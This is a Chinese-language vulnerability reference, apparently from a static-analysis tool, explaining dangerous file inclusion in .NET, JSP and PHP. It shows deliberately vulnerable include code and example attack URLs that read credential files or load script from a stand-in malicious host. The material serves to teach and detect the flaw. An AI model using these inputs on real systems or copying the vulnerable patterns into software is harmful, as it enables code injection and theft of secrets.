界: Input Validation and Representation

输入验证与表示问题是由元字符、交替编码和数字表示引起的。安全问题源于信任输入。这些问题包括:“Buffer Overflows”、“Cross-Site Scripting”攻击、“SQL Injection”等其他问题。

Dangerous File Inclusion

Abstract
如果允许未经验证的用户输入控制动态包含在 HTML 文件中的文件,会导致恶意代码的执行。
Explanation
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。

示例 1:以下代码会采用用户指定的模板名称,并将该名称包含在所呈现的 HTML 页面中。


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


Example 1 中,攻击者可通过为 includedURL 提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。

如果攻击者为动态 include 指令指定一个有效文件,.NET 会将该文件的内容插入发送给用户的 HTML 文件。对于一个纯文本文件来说,如 web.config,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
如果允许未经验证的用户输入控制动态包含在 JSP 中的文件,会导致恶意代码的执行。
Explanation
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。

例 1:以下代码是 Local File Inclusion 漏洞的示例。示例代码采用了用户指定的模板名称,并将该名称包含在要呈现的 JSP 页面中。

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

如果攻击者为动态包含指令指定一个有效文件,则该文件的内容会传送给将在页面上呈现的 JSP 解释器。

如果攻击者采用这种手段发起攻击,

specialpage.jsp?template=/WEB-INF/database/passwordDB

JSP 解释器就会将 /WEB-INF/database/passwordDB 文件的内容在 JSP 页面上呈现,从而对系统安全造成威胁。

更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。

示例 2:此示例代码会使用 c:import 标签将用户指定的远程文件导入当前的 JSP 页面。

...
<c:import url="<%= request.getParameter("privacy")%>">
...

这种攻击手段

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

可从被攻击者控制的远程站点将恶意代码注入当前 JSP 页面。
desc.dataflow.java.dangerous_file_inclusion
Abstract
如果允许未验证的用户输入控制动态包含在 PHP 中的文件,会导致恶意代码的执行。
Explanation
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。

File inclusion 漏洞是各种 PHP 应用程序中最多见且最为严重的漏洞。在低于 PHP 4.2.0 的版本中,PHP 的安装包附带了默认启用的 register_globals,从而使攻击者很容易重写内部服务器的各种变量。尽管禁用 register_globals 可以从一定程度上减少程序发生 file inclusion 漏洞的风险,但是这些问题仍然存在于各种现代的 PHP 应用程序中。

例 1:以下代码包含了一个文件,该文件位于模板中定义 $server_root 的应用程序下。


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


如果将 register_globals 设置为 on,攻击者可以通过提供 $server_root 请求参数覆盖 $server_root 值,从而部分控制动态 include 指令。

例 2:以下代码采用了用户指定的模板名称,并将该名称包含在要呈现的 PHP 页面中。


...
<?php include($_GET['headername']); ?$gt;
...


Example 2 中,攻击者可通过为 headername 提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。

如果攻击者给动态 include 指令指定有效文件,该文件的内容将被传送到 PHP 解释器。对于一个纯文本文件来说,如 /etc/shadow,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
References
[1] Using Register Globals PHP Guide
desc.dataflow.php.dangerous_file_inclusion